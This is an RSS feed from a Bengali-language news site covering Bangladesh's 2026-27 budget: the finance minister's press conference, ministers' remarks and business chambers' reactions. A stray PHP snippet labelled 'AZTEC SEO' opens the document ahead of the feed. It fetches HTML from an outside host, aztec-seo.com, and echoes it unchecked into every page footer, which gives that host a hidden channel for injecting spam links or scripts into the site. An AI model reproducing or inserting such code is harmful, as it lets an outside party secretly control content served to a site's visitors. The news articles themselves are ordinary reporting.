/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); বাংলাদেশ – Dhaka Sky News https://www.dhakaskynews.com Dhaka Sky News Sat, 13 Jun 2026 03:54:00 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.9 এবার সবার জন্য বাজেট : অর্থমন্ত্রী https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7247/ https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7247/#respond Sat, 13 Jun 2026 03:54:00 +0000 https://www.dhakaskynews.com/?p=7247 সীমিত সম্পদের মধ্যেও দেশের সব মানুষকে বাজেটের আওতায় আনা হয়েছে। দেশের ‘সবার জন্য এই বাজেট’। দীর্ঘদিনের আমলাতান্ত্রিক জটিলতা, অপ্রয়োজনীয় বিধিনিষেধ ও লালফিতার দৌরাত্ম্য কমিয়ে ব্যবসায় ব্যয় হ্রাস করাই সরকারের প্রধান লক্ষ্য। শুক্রবার রাজধানীর ওসমানী স্মৃতি মিলনায়তনে বাজেটোত্তর সংবাদ সম্মেলনে অর্থমন্ত্রী আমির খসরু মাহমুদ চৌধুরী এসব কথা বলেছেন।
অর্থমন্ত্রী বলেন, বেসরকারি বিনিয়োগে গতি বাড়ানো, ব্যবসার পরিবেশ সহজ করা এবং মূল্যস্ফীতি নিয়ন্ত্রণকে সামনে রেখে ২০২৬-২৭ অর্থবছরের বাজেট বাস্তবায়নের রূপরেখা দেওয়া হয়েছে। তিনি দাবি করেন, গত দেড় দশকের ‘পৃষ্ঠপোষকতার অর্থনীতি’ থেকে বেরিয়ে এবারের বাজেট দেশের সব শ্রেণি-পেশার মানুষের জন্য প্রণয়ন করা হয়েছে। তিনি বলেন, গত দেড় দশকে দেশের সম্পদ লুটপাট হয়েছে, রাষ্ট্রীয় প্রতিষ্ঠানগুলো দুর্বল হয়েছে এবং অর্থনীতি ভঙ্গুর অবস্থায় পৌঁছেছে।
অর্থমন্ত্রী সূচনা বক্তব্যের পরই সাংবাদিকদের বিভিন্ন প্রশ্নের জবাব দেন। এ সময় প্রিন্ট, টেলিভিশন এবং অনলাইন মিডিয়ার শতাধিক সাংবাদিক উপস্থিত ছিলেন। বেশির ভাগ সাংবাদিক প্রশ্ন করার সুযোগ পাননি। বিকাল ৩টা ১০ মিনিটে সম্মেলনস্থলে আসেন অর্থমন্ত্রী। তার ডানপাশে বসেন তথ্যমন্ত্রী জহির উদ্দিন স্বপন, বামপাশে বিদ্যুৎ, জ্বালানি ও খনিজসম্পদমন্ত্রী ইকবাল হাসান মাহমুদ টুকু।
উপস্থিত ছিলেন স্বাস্থ্যমন্ত্রী সরদার সাখাওয়াত হোসেন, কৃষিমন্ত্রী মোহাম্মদ আমিন উর রশিদ, শিক্ষামন্ত্রী আ ন ম এহছানুল হক মিলন, পরিকল্পনা প্রতিমন্ত্রী জোনায়েদ সাকি, প্রধানমন্ত্রীর উপদেষ্টা মাহদী আমিন, বাংলাদেশ ব্যাংকের গভর্নর মোস্তাকুর রহমান, এনবিআর চেয়ারম্যান আব্দুর রহমান খান, প্রধানমন্ত্রীর কার্যালয়ের মুখ্য সচিব এ বি এম আব্দুস সাত্তার।
অর্থমন্ত্রী বলেন, ব্যবসা-বাণিজ্যের বড় বাধা হয়ে দাঁড়িয়েছে অপ্রয়োজনীয় নিয়মকানুন, প্রশাসনিক জটিলতা এবং দীর্ঘসূত্রতা। এসব দূর করে বিনিয়োগবান্ধব পরিবেশ নিশ্চিত করাই সরকারের অগ্রাধিকার। ব্যবসা সহজ করার সূচকে বাংলাদেশের অবস্থান দীর্ঘদিন ধরেই তলানির দিকে। এর অর্থ হলো দেশে ব্যবসা পরিচালনার খরচও তুলনামূলকভাবে বেশি। লাইসেন্স গ্রহণ থেকে শুরু করে পণ্য আমদানি, বন্দরে খালাস, পরিবহণ ও সরবরাহ প্রতিটি স্তরে উদ্যোক্তাদের অতিরিক্ত সময় ও অর্থ ব্যয় করতে হয়। এই ব্যয় শেষ পর্যন্ত পণ্যের দামের সঙ্গে যুক্ত হয়ে মূল্যস্ফীতিকে আরও বাড়িয়ে দেয়।
তিনি বলেন, ব্যবসার খরচ কমাতে সরকার ‘ডিরেগুলেশন’ বা বিনিয়ন্ত্রণ নীতির ওপর বিশেষ গুরুত্ব দিচ্ছে। অপ্রয়োজনীয় বিধিনিষেধ কমিয়ে, প্রশাসনিক প্রক্রিয়া সহজ করে এবং সিদ্ধান্ত গ্রহণের গতি বাড়িয়ে উদ্যোক্তাদের জন্য একটি হয়রানিমুক্ত পরিবেশ গড়ে তোলা হবে। এতে স্থানীয় বিনিয়োগের পাশাপাশি বিদেশি বিনিয়োগও উৎসাহিত হবে। অর্থমন্ত্রী বলেন, গত দেড় দশক আমাদের অর্থনীতি ছিল পৃষ্ঠপোষকতার অর্থনীতি। কিছু মানুষের অর্থনীতি। নির্দিষ্ট কিছু মানুষ ও গোষ্ঠীকে সুবিধা দেওয়া হয়েছে। আমরা সেই ধারা থেকে বেরিয়ে অর্থনীতিতে সবার অংশগ্রহণ নিশ্চিত করতে চাই। সীমিত সম্পদের মধ্যেও প্রতিটি মানুষকে বাজেটের আওতায় আনার চেষ্টা করেছি। তিনি দাবি করেন, এবারের বাজেটের মূল দর্শন হচ্ছে অর্থনীতির গণতন্ত্রায়ন। দীর্ঘদিন ধরে অর্থনৈতিক সুবিধার বাইরে থাকা জনগোষ্ঠীকে মূলধারায় নিয়ে আসাই সরকারের লক্ষ্য। কৃষক, শ্রমিক, ক্ষুদ্র উদ্যোক্তা, নারী, তরুণ, প্রবীণ, সংখ্যালঘুসব শ্রেণি-পেশার মানুষের কথা বিবেচনায় নিয়েই বাজেট প্রণয়ন করা হয়েছে। অর্থমন্ত্রী বলেন, আমার যদি ভুল না হয়ে থাকে, কোনো শ্রেণি, পেশা, ধর্ম বা বর্ণের মানুষ এবারের বাজেটের আওতার বাইরে নেই। সীমিত সম্পদের মধ্যেও সবার জন্য কিছু না কিছু বরাদ্দ, কর্মসূচি ও রোডম্যাপ রাখা হয়েছে। বর্তমানে মূল্যস্ফীতি প্রায় সাড়ে ৯ শতাংশের কাছাকাছি। এ বিষয়ে অর্থমন্ত্রী বলেন, আমাদের নীতিগুলো সঠিকভাবে বাস্তবায়ন করতে পারলে মূল্যস্ফীতি নিয়ন্ত্রণ করা খুব কঠিন হবে বলে মনে করি না। তিনি বলেন, ব্যবসায়িক ব্যয় কমাতে পারলে মূল্যস্ফীতির ওপরও ইতিবাচক প্রভাব পড়বে।
ব্যবসার খরচ বৃদ্ধির জায়গাগুলো চিহ্নিত করেছি। আমদানি পণ্যের কারণে মূল্যস্ফীতি পুরোপুরি নিয়ন্ত্রণ করা সম্ভব নয়। তবে দেশের অভ্যন্তরীণ ব্যয় কমানোর মাধ্যমে মূল্যস্ফীতির চাপ অনেকাংশে কমানো সম্ভব। মূল্য নিয়ন্ত্রণে প্রশাসনিক উদ্যোগকে দীর্ঘমেয়াদি সমাধান মনে করেন না অর্থমন্ত্রী। তিনি বলেন, পুলিশ, র‌্যাব বা সরকারি কর্মকর্তাদের দিয়ে বাজার নিয়ন্ত্রণ করা যায় না। মূল্য নিয়ন্ত্রণ করতে হবে সঠিক নীতি ও কার্যকর ব্যবস্থাপনার মাধ্যমে।
বেতন বাড়লে দুর্নীতি কমবে : সরকারি চাকরিজীবীদের বেতন বাড়লে দুর্নীতি কমবে বলে মনে করছেন অর্থমন্ত্রী আমির খসরু। তিনি বলেন, বেতন বাড়লে দুর্নীতি কমার কথা। কারণ অভাব থাকলে দুর্নীতির প্রবণতা থাকে। ১১ বছর ধরে পে-স্কেল হয়নি, অন্যদিকে নিত্যপণ্যের দাম বেড়েছে। সুতরাং এটা সমন্বয় করা দরকার। বেতন বাড়লে, আয় বাড়বে তখন নিশ্চয় দুর্নীতি কমার কথা।

ব্যাংক ঋণের ওপর নির্ভরতা কমানো হবে : স্থানীয় ব্যাংক থেকে সরকারের ঋণ গ্রহণ ধীরে ধীরে কমিয়ে বেসরকারি খাতের জন্য ঋণের সুযোগ বাড়ানোর কথাও জানিয়ে অর্থমন্ত্রী বলেন, দেশের অর্থনৈতিক প্রোগ্রামিং ও বাজেট প্রণয়নের ক্ষেত্রে সরকার আগের প্রচলিত ধারা থেকে ধীরে ধীরে বেরিয়ে আসার চেষ্টা করছে। কারণ বিশ্ব অর্থনীতির প্রেক্ষাপট দ্রুত পরিবর্তিত হচ্ছে। অর্থনৈতিক চিন্তাভাবনা, বিনিয়োগের ধরন এবং বিনিয়োগ মূল্যায়নের মানদণ্ডও বদলে যাচ্ছে। এ কারণে দেশের সরকারি অর্থ ব্যবস্থাপনার (পাবলিক ফাইন্যান্স) বিদ্যমান কাঠামোতেও পরিবর্তন আনা প্রয়োজন।
অর্থমন্ত্রী বলেন, সরকারের লক্ষ্য হলো এমন একটি আর্থিক কাঠামো গড়ে তোলা, যেখানে বেসরকারি খাত অর্থনীতির প্রধান চালিকাশক্তি হিসাবে আরও বেশি ভূমিকা রাখতে পারবে এবং ব্যাংকিং খাতেও সরকারি ও বেসরকারি ঋণের মধ্যে একটি স্বাস্থ্যকর ভারসাম্য প্রতিষ্ঠিত হবে। এর আগে অর্থ সচিব ড. মো. খায়েরুজ্জামান মজুমদার বলেন, চলতি অর্থবছরে সরকারের ব্যাংক ঋণের লক্ষ্যমাত্রা ছিল ১ লাখ ১৮ হাজার কোটি টাকা। নতুন বাজেটে তা কমিয়ে ১ লাখ ১২ হাজার কোটি টাকা নির্ধারণ করা হয়েছে। তিনি উল্লেখ করেন, সম্প্রতি সরকার ৫ হাজার ৫০০ কোটি টাকার সুকুক বন্ড ইস্যু করেছে, যা ব্যাপক সাড়া পেয়েছে। এ বন্ডের বিপরীতে প্রায় ৭২ হাজার ৫০০ কোটি টাকার আবেদন জমা পড়েছে।
সংস্কৃতিকে অর্থনীতির সম্পদে রূপ দিতে ৮০০ কোটির প্রকল্প : দেশের অর্থনীতিতে নতুন প্রবৃদ্ধির উৎস তৈরির লক্ষ্যে পর্যটনের সঙ্গে থিয়েটার, সংগীত, চলচ্চিত্র ও শিল্পকলাকে যুক্ত করার উদ্যোগ নিয়েছে সরকার। সংস্কৃতিকে অর্থনৈতিক সম্পদে রূপ দিতে প্রায় ৮০০ কোটি টাকার ‘ক্রিয়েটিভ ইকোনমি’ প্রকল্প বাস্তবায়নের পরিকল্পনা নেওয়া হয়েছে বলে জানিয়েছেন অর্থমন্ত্রী। এটি দেশের ইতিহাসে প্রথম উদ্যোগ। এছাড়া ঢাকার পূর্বাচলে একটি সৃজনশীল হাব করা হবে। অপর এক প্রশ্নের জবাবে অর্থমন্ত্রী বলেন, জমি ও ফ্ল্যাট নিবন্ধনের ক্ষেত্রে সরকারি নির্ধারিত মৌজা রেট এবং প্রকৃত বাজারমূল্যের মধ্যে বিদ্যমান বড় ব্যবধান দূর করতে সরকার কাজ করছে বলে জানিয়েছেন অর্থমন্ত্রী আমির খসরু। তিনি বলেছেন, মৌজা রেট বাস্তবসম্মত করা গেলে কালোটাকা সাদা করার সুযোগও অনেকাংশে বন্ধ হয়ে যাবে।
বাংলাদেশে তেলের ঘাটতি হয়নি-জ্বালানিমন্ত্রী : বাংলাদেশে জ্বালানির কোনো ঘাটতি তৈরি হয়নি বলে মন্তব্য করেছেন বিদ্যুৎ, জ্বালানি ও খনিজসম্পদমন্ত্রী ইকবাল হাসান মাহমুদ। তিনি বলেছেন, যুদ্ধের প্রভাবে আমেরিকার মতো দেশে ফ্লোরিডা ড্রাই হয়ে গিয়েছিল। কিন্তু বাংলাদেশে ড্রাই হয়নি। বাংলাদেশে তেল সব সময় স্টেবল ছিল, এখনো আছে। রাষ্ট্রীয় প্রতিষ্ঠান বাপেক্সকে পুনরুজ্জীবিত করা, স্থল ও সমুদ্রে গ্যাস অনুসন্ধান জোরদার করা হয়েছে।
কালোটাকা সাদা করার সুযোগ নেই, ভুল বোঝাবুঝি হয়েছে, এনবিআর চেয়ারম্যান : প্রস্তাবিত বাজেটে কালোটাকা বৈধ করার ব্যবস্থা নয়, বরং সম্পত্তি লেনদেনে প্রকৃত মূল্য ঘোষণার মাধ্যমে করসংক্রান্ত জটিলতা নিরসনের একটি প্রস্তাব করা হয়েছে বলে জানিয়েছেন এনবিআর চেয়ারম্যান মো. আবদুর রহমান খান। এ বিষয়ে জনমনে ভুল বোঝাবুঝি তৈরি হয়েছে। তিনি বলেন, গত অর্থবছরে জমি বিক্রেতাদের জন্য একটি বিশেষ বিধান করা হয়েছিল। অনেক ক্ষেত্রে জমি প্রকৃত মূল্যে বিক্রি হলেও কম দামে নিবন্ধন করা হয়। এতে বিক্রেতারা প্রকৃত বিক্রয়মূল্যের অতিরিক্ত অর্থের উৎস ব্যাখ্যা করতে গিয়ে জটিলতায় পড়েন। এ অবস্থায় ব্যাংকিং চ্যানেলে লেনদেনের প্রমাণ এবং বায়নানামা উপস্থাপন করতে পারলে তারা নিয়মিত হারে মূলধনি মুনাফার ওপর কর পরিশোধ করে সেই অর্থ বৈধ করার সুযোগ পান। এবার একই ধরনের একটি সুবিধা সম্পত্তি বা ফ্ল্যাটের ক্রেতাদের জন্য বিবেচনা করা হয়েছিল।

]]>
https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7247/feed/ 0
এ বাজেট বাস্তবায়নই বড় চ্যালেঞ্জ https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7235/ https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7235/#respond Sat, 13 Jun 2026 03:22:49 +0000 https://www.dhakaskynews.com/?p=7235 এবারের প্রস্তাবিত বাজেট বাংলাদেশের ইতিহাসের সর্বোচ্চ সাহসী বাজেট। এ বাজেটে যেমন ব্যবসা সহজ করার উদ্যোগ আছে, তেমনি স্থানীয় শিল্পকে সুরক্ষা দেওয়ার প্রচেষ্টাও বিদ্যমান। তবে ব্যাংক ঋণের উচ্চসুদ, বিদ্যুৎ-জ্বালানি সংকট সমাধানে কার্যকর রূপরেখা দৃশ্যমান হয়নি। সামগ্রিকভাবে বাজেট বাস্তবায়ন করাই হবে বড় চ্যালেঞ্জ। অতীতের অনেক ভালো বাজেটও বাস্তবায়নের অভাবে মুখ থুবড়ে পড়েছে। তাই সরকারকে বাজেট বাস্তবায়নে অর্থবছর শুরুর প্রথম দিন থেকে বাস্তবমুখী পরিকল্পনা নিয়ে কাজ শুরু করতে হবে। প্রস্তাবিত বাজেট-পরবর্তী প্রতিক্রিয়ায় শুক্রবার গণমাধ্যমের কাছে ব্যবসায়ী সংগঠনের কয়েকজন নেতা এসব  মন্তব্য করেন।
তারা বলেন, এ বাজেটে সরকারের দেশপ্রেমের অনেক স্বাক্ষর রয়েছে। তবে গ্যাস-বিদ্যুৎ সরবরাহের অনিশ্চয়তা ও ব্যাংক ঋণের উচ্চ সুদহার উদ্যোক্তাদের এখনো ভাবাচ্ছে। প্রস্তাবিত বাজেটে গ্যাস ও বিদ্যুৎ সংকট নিরসনে সুনির্দিষ্ট পদক্ষেপ নেই। শিল্পের উন্নতি করতে হলে সবার আগে জ্বালানি নিরাপত্তা নিশ্চিত করতে হবে। এছাড়া ব্যাংক ঋণের সুদহার কমানো ও বেসরকারি খাতে ঋণপ্রবাহ বৃদ্ধির উদ্যোগ গ্রহণ করতে হবে। দক্ষতা উন্নয়ন ও কর্মসংস্থানবিষয়ক সব বাধা দূর করে দেশীয় ও বৈদেশিক কর্মসংস্থানের সুযোগ বৃদ্ধি করাও জরুরি। বাজেটে মূল্যস্ফীতি নিয়ন্ত্রণ, বিনিয়োগ বৃদ্ধি, সামাজিক সুরক্ষা সম্প্রসারণ এবং দীর্ঘমেয়াদি প্রবৃদ্ধির যে লক্ষ্য নির্ধারণ করা হয়েছে, তা প্রশংসনীয়। তবে রাজস্ব আহরণ, প্রকল্প বাস্তবায়ন এবং বেসরকারি খাতের জন্য অনুকূল পরিবেশ নিশ্চিত করাই হবে সবচেয়ে বড় চ্যালেঞ্জ। ফলে শুধু বরাদ্দ বাড়ালেই কাঙ্ক্ষিত ফল আসবে না, সেবার মান ও সুশাসন নিশ্চিত করতে হবে।
বিসিআই সভাপতি : প্রস্তাবিত বাজেটকে বাংলাদেশের ইতিহাসের সর্বোচ্চ সংস্কারমুখী ও ব্যবসাবান্ধব বলে মনে করেন বাংলাদেশ চেম্বার অব ইন্ডাস্ট্রিজের (বিসিআই) সভাপতি আনোয়ার-উল আলম চৌধুরী পারভেজ। তার মতে, ১৯ কোটি মানুষের জন্য এ ধরনের বড় বাজেট দরকার আছে। তবে বাজেট বাস্তবায়ন বড় চ্যালেঞ্জ। এজন্য বাজেট বাস্তবায়নের প্রথম দিন থেকেই সুনির্দিষ্ট টাইমলাইন ও পরিকল্পনা নিয়ে এগোতে হবে। প্রয়োজনে সংশ্লিষ্ট সব অংশীজনকে সম্পৃক্ত করা যেতে পারে।
আনোয়ার-উল আলম চৌধুরী আরও বলেন, বর্তমান বৈশ্বিক অর্থনৈতিক অনিশ্চয়তা, উচ্চ মূল্যস্ফীতি, জ্বালানি সংকট এবং বিনিয়োগ স্থবিরতার প্রেক্ষাপটে অর্থনীতিকে পুনরুজ্জীবিত করতে সরকারের গৃহীত সংস্কারমুখী পদক্ষেপ প্রশংসনীয়। বিশেষ করে ব্যাংকিং খাত, কর ব্যবস্থা এবং সরকারি অর্থ ব্যবস্থাপনায় সংস্কারের অঙ্গীকার দীর্ঘমেয়াদে শিল্প খাতের জন্য ইতিবাচক প্রভাব ফেলবে।
তিনি আরও বলেন, বন্ধ কলকারখানা চালুসহ ক্ষুদ্র ও মাঝারি শিল্পের জন্য বাজেটে সুনির্দিষ্ট প্রস্তাব রয়েছে, যা ইতিবাচক হিসাবে কাজ করবে। রপ্তানি বহুমুখীকরণের জন্য হালাল পণ্য উৎপাদন ও রপ্তানিকে যুক্ত করা আবশ্যক। কারণ বিশ্বব্যাপী হালাল পণ্যের চাহিদা ক্রমাগত বাড়ছে এবং বাংলাদেশের এ সুযোগ গ্রহণ করার সক্ষমতা রয়েছে। ডিরেগুলেশনের মাধ্যমে ব্যবসা সহজীকরণ প্রস্তাবগুলো সাহসী পদক্ষেপ। পাশাপাশি উন্নয়ন লক্ষ্য হিসাবে ১০টি অগ্রাধিকার খাত চিহ্নিত করা এবং ক্রিয়েটিভ অর্থনীতি ও সুনীল অর্থনীতিকে গুরুত্ব দেওয়া দীর্ঘমেয়াদে বাংলাদেশের টেকসই উন্নয়নে সহায়ক হবে।
বিটিএমএ সভাপতি : শওকত আজিজ রাসেলের মতে, প্রস্তাবিত বাজেটে বিনিয়োগ, কর্মসংস্থান, রপ্তানি সক্ষমতা ও ব্যবসা সহজীকরণকে গুরুত্ব দেওয়া হয়েছে, যা ইতিবাচক। স্থানীয় শিল্পের সুরক্ষা ও প্রতিযোগিতা সক্ষমতা বৃদ্ধি, শুল্ক কাঠামো পুনর্বিন্যাস, সোলার বিদ্যুতে নীতিগত সুবিধা এবং ব্যবসায়িক প্রক্রিয়া সহজীকরণের পদক্ষেপ প্রাইমারি টেক্সটাইল খাতের জন্য উৎসাহব্যঞ্জক। তবে গ্যাস-বিদ্যুৎ সরবরাহের অনিশ্চয়তা, ব্যাংক ঋণের উচ্চ সুদহার উদ্যোক্তাদের এখনো ভাবাচ্ছে।
শওকত আজিজ রাসেল বলেন, বাজেটে বিটিএমএ’র কয়েকটি গুরুত্বপূর্ণ প্রস্তাব আংশিকভাবে প্রতিফলিত হয়েছে। তবে টেক্সটাইল শিল্পসংশ্লিষ্ট কিছু বিষয় নজরে আনা হয়নি। যেমন-টেক্সটাইল খাতের বিদ্যমান সংকট মোকাবিলায় করপোরেট ট্যাক্সের হার ১৫% নির্ধারণ করা জরুরি। এ বিষয়ে কোনো পদক্ষেপ নেওয়া হয়নি। এলডিসি উত্তরণ-পরবর্তী প্রতিযোগিতামূলক পরিস্থিতি বিবেচনায় মূল্য সংযোজনের হার বহাল রাখা প্রয়োজন। ব্যাংক গ্যারান্টির মাধ্যমে কাঁচামাল আমদানির ক্ষেত্রে বিদ্যমান ৩০ শতাংশ মূল্য সংযোজনের বাধ্যবাধকতা প্রত্যাহার দেশীয় শিল্পের জন্য ঝুঁকি তৈরি করতে পারে এবং এর অপব্যবহারের আশঙ্কা রয়েছে।
শওকত আজিজ রাসেল বলেন, বর্তমানে প্রাইমারি টেক্সটাইল খাতটি উচ্চ জ্বালানি ব্যয়, গ্যাস-বিদ্যুৎ সরবরাহের অনিশ্চয়তা, ব্যাংক ঋণের উচ্চ সুদহার, কাঁচামালের মূল্য অস্থিরতা, উৎসে কর ও চলতি মূলধনের অভাব এবং আন্তর্জাতিক প্রতিযোগিতায় ঝুঁকির মুখে রয়েছে। তাই আয়কর ও উৎসে করের স্থিতিশীলতা, কাঁচামাল ও মেশিনারি আমদানিতে নীতিগত সহায়তা, বিনিয়োগ সুবিধা এবং ব্যাকওয়ার্ড লিংকেজ শিল্পের জন্য দীর্ঘমেয়াদি করনীতির পূর্বানুমানযোগ্যতা নিশ্চিত করা অত্যন্ত জরুরি বলে মনে করেন তিনি।
বিকেএমইএ সভাপতি: প্রস্তাবিত বাজেট সন্তোষজনক, অর্থনৈতিক সংকটগুলো কাটাতে সহায়ক হবে। বিশেষ করে সংকটে থাকা ও বন্ধ কারখানার জন্য সহায়তা কর্মসূচি। তবে বাজেটের প্রকৃত সাফল্য নির্ভর করবে বাস্তবায়নের ওপর-এমনটি মনে করেন বিকেএমইএ সভাপতি মোহাম্মদ হাতেম।
তিনি বলেন, এবারের বাজেটে তৈরি পোশাকশিল্পের দুটি প্রধান প্রত্যাশা ছিল-কর ব্যবস্থার সংস্কার এবং চলমান গ্যাস-বিদ্যুৎ সংকটের প্রেক্ষাপটে বিকল্প জ্বালানি সোলার সিস্টেমের আমদানি সহজীকরণ করা। দুটি জায়গাতেই এ বাজেটে নেওয়া পদক্ষেপ সন্তোষজনক। কর সুবিধা সম্প্রসারণ এবং মধ্যমেয়াদি নীতিকাঠামোর দিকে অগ্রসর হওয়ার মতো কিছু ইতিবাচক পদক্ষেপ রয়েছে। এজন্য প্রধানমন্ত্রী ও অর্থমন্ত্রীকে ধন্যবাদ।
মোহাম্মদ হাতেম বলেন, রপ্তানিমুখী নন-বন্ডেড প্রতিষ্ঠানকে শুল্কমুক্ত সুবিধায় কাঁচামাল বিদেশ থেকে আমদানি এবং দেশীয় বন্ডেড প্রতিষ্ঠান থেকে সংগ্রহের সুযোগ রপ্তানি বৃদ্ধির জন্য ইতিবাচক। এছাড়া রপ্তানিমুখী শিল্পের জন্য বিদ্যমান সুবিধাগুলো বহাল রাখা এবং বিভিন্ন প্রণোদনা ও নীতিগত সুবিধার মেয়াদ তিন থেকে পাঁচ বছর পর্যন্ত বাড়ানোর সিদ্ধান্তও ইতিবাচক। এ ধরনের নীতিগত ধারাবাহিকতা বিনিয়োগকারীদের আস্থা বৃদ্ধি এবং দীর্ঘমেয়াদি ব্যবসায়িক পরিকল্পনায় সহায়তা করবে।
গ্যাস ও বিদ্যুৎ সংকট নিরসনে বাজেটে সুনির্দিষ্ট পদক্ষেপ নেই-এমন মন্তব্য করে মোহাম্মদ হাতেম বলেন, বিনিয়োগ ও শিল্প সম্প্রসারণের ক্ষেত্রে এটি এখনো অন্যতম বড় প্রতিবন্ধকতা। জ্বালানি নিরাপত্তা নিশ্চিত করা সবচেয়ে জরুরি বিষয়। সৌরবিদ্যুৎ আংশিক সমাধান দিতে পারে, কিন্তু দীর্ঘমেয়াদে টেকসই সমাধানের জন্য দেশীয় গ্যাস অনুসন্ধান উৎপাদন বাড়ানো প্রয়োজন। উচ্চ ঋণসুদও বিনিয়োগের পথে বড় বাধা হয়ে দাঁড়িয়েছে। ঋণের ব্যয় অনেক বেড়ে যাওয়ায় বেসরকারি খাতে ঋণ প্রবৃদ্ধি উল্লেখযোগ্যভাবে কমেছে। ১৩ থেকে ১৫ শতাংশ সুদে ঋণ নিয়ে ব্যবসা পরিচালনা দীর্ঘমেয়াদে কোনোভাবেই সম্ভব নয়।
অ্যামচ্যাম সভাপতি: প্রস্তাবিত বাজেট অর্থনীতিকে স্থিতিশীল করার একটি ইতিবাচক প্রচেষ্টা হলেও এর সাফল্য নির্ভর করবে কার্যকর বাস্তবায়নের ওপর। এমনটিই মনে করেন আমেরিকান চেম্বার অব কমার্স ইন বাংলাদেশের (অ্যামচ্যাম) সভাপতি সৈয়দ এরশাদ আহমেদ। তিনি বলেন, বাজেটে মূল্যস্ফীতি নিয়ন্ত্রণ, বিনিয়োগ বৃদ্ধি, সামাজিক সুরক্ষা সম্প্রসারণ এবং দীর্ঘমেয়াদি প্রবৃদ্ধির যে লক্ষ্য নির্ধারণ করা হয়েছে, তা প্রশংসনীয়। তবে রাজস্ব আহরণ, প্রকল্প বাস্তবায়ন এবং বেসরকারি খাতের জন্য অনুকূল পরিবেশ নিশ্চিত করাই হবে সবচেয়ে বড় চ্যালেঞ্জ।
অ্যামচ্যাম সভাপতির মতে, বর্তমান বৈশ্বিক ও অভ্যন্তরীণ অর্থনৈতিক পরিস্থিতির মধ্যে সরকার একটি ভারসাম্যপূর্ণ বাজেট উপস্থাপনের চেষ্টা করেছে। বাজেটে মানবসম্পদ উন্নয়ন, শিক্ষা, স্বাস্থ্য এবং সামাজিক সুরক্ষা কর্মসূচিতে বরাদ্দ বৃদ্ধি ইতিবাচক বার্তা দেয়। তবে শুধু বরাদ্দ বাড়ালেই কাঙ্ক্ষিত ফল আসবে না, সেবার মান ও সুশাসন নিশ্চিত করতে হবে।
তিনি বলেন, জিডিপির ৩ দশমিক ৫৫ শতাংশ সমপরিমাণ বাজেট ঘাটতি আন্তর্জাতিক মানদণ্ডে গ্রহণযোগ্য। কিন্তু এই ঘাটতি পূরণে অভ্যন্তরীণ ঋণের ওপর অতিরিক্ত নির্ভরতা বেসরকারি খাতের জন্য উদ্বেগের কারণ হতে পারে। এতে ঋণের ব্যয় বাড়বে এবং বিনিয়োগে নেতিবাচক প্রভাব পড়তে পারে।
রাজস্ব আহরণের লক্ষ্যমাত্রাকে উচ্চাভিলাষী উল্লেখ করে অ্যামচ্যাম সভাপতি বলেন, করের হার বাড়ানোর চেয়ে করের আওতা বাড়ানো এবং প্রশাসনিক দক্ষতা বৃদ্ধির দিকে বেশি মনোযোগ দেওয়া প্রয়োজন। ডিজিটাল কর ব্যবস্থা, স্বচ্ছতা এবং করদাতাবান্ধব পরিবেশ তৈরি হলে রাজস্ব আদায় স্বাভাবিকভাবেই বাড়বে। তিনি আরও বলেন, বাংলাদেশের সামনে এলডিসি উত্তরণের বড় চ্যালেঞ্জ রয়েছে। এ সময় রপ্তানি প্রতিযোগিতা ধরে রাখতে নীতির ধারাবাহিকতা, বাণিজ্য সহজীকরণ এবং কাঠামোগত সংস্কার অত্যন্ত গুরুত্বপূর্ণ।
জ্বালানি খাত প্রসঙ্গে তিনি বলেন, নবায়নযোগ্য জ্বালানি ও বৈদ্যুতিক যানবাহনের জন্য প্রণোদনা সময়োপযোগী উদ্যোগ। তবে শিল্প খাতের জন্য নিরবচ্ছিন্ন ও সাশ্রয়ী জ্বালানি সরবরাহ নিশ্চিত না হলে প্রত্যাশিত বিনিয়োগ আসবে না। এডিপির আকার বৃদ্ধি প্রসঙ্গে অ্যামচ্যাম সভাপতি বলেন, অবকাঠামো উন্নয়নে বড় বিনিয়োগ প্রয়োজন। কিন্তু প্রকল্প বাস্তবায়নে দীর্ঘসূত্রতা, ব্যয় বৃদ্ধি এবং দুর্বল তদারকির কারণে অনেক সময় কাঙ্ক্ষিত সুফল পাওয়া যায় না। এক্ষেত্রে জবাবদিহিতা বাড়াতে হবে।
বাজেটের সামগ্রিক পর্যালোচনায় তিনি বলেন, এই বাজেট অর্থনীতির জন্য একটি ভিত্তি তৈরি করেছে। এখন প্রয়োজন সঠিক বাস্তবায়ন, নীতিগত স্থিতিশীলতা এবং বিনিয়োগবান্ধব পরিবেশ। এসব নিশ্চিত করা গেলে বাংলাদেশ আগামী বছরগুলোতে আরও শক্তিশালী অর্থনৈতিক অবস্থানে পৌঁছাতে পারবে।

]]>
https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7235/feed/ 0
মরণোত্তর স্বাধীনতা পুরস্কার পাচ্ছেন বেগম খালেদা জিয়া https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5743/ https://www.dhakaskynews.com/bangladesh/2026/03/05/News_ID-5743/#respond Thu, 05 Mar 2026 11:35:05 +0000 https://www.dhakaskynews.com/?p=5743 ঢাকা, ৫ মার্চ, ২০২৬ ( বাসস ) : স্বাধীনতা, গণতন্ত্র ও নারী শিক্ষাসহ দেশগঠনে সার্বিক অবদান প্রয়াত সাবেক প্রধানমন্ত্রী খালেদা জিয়াকে মরণোত্তর ‘স্বাধীনতা পুরস্কার-২০২৬’ দেওয়ার সিদ্ধান্ত নিয়েছে সরকার।

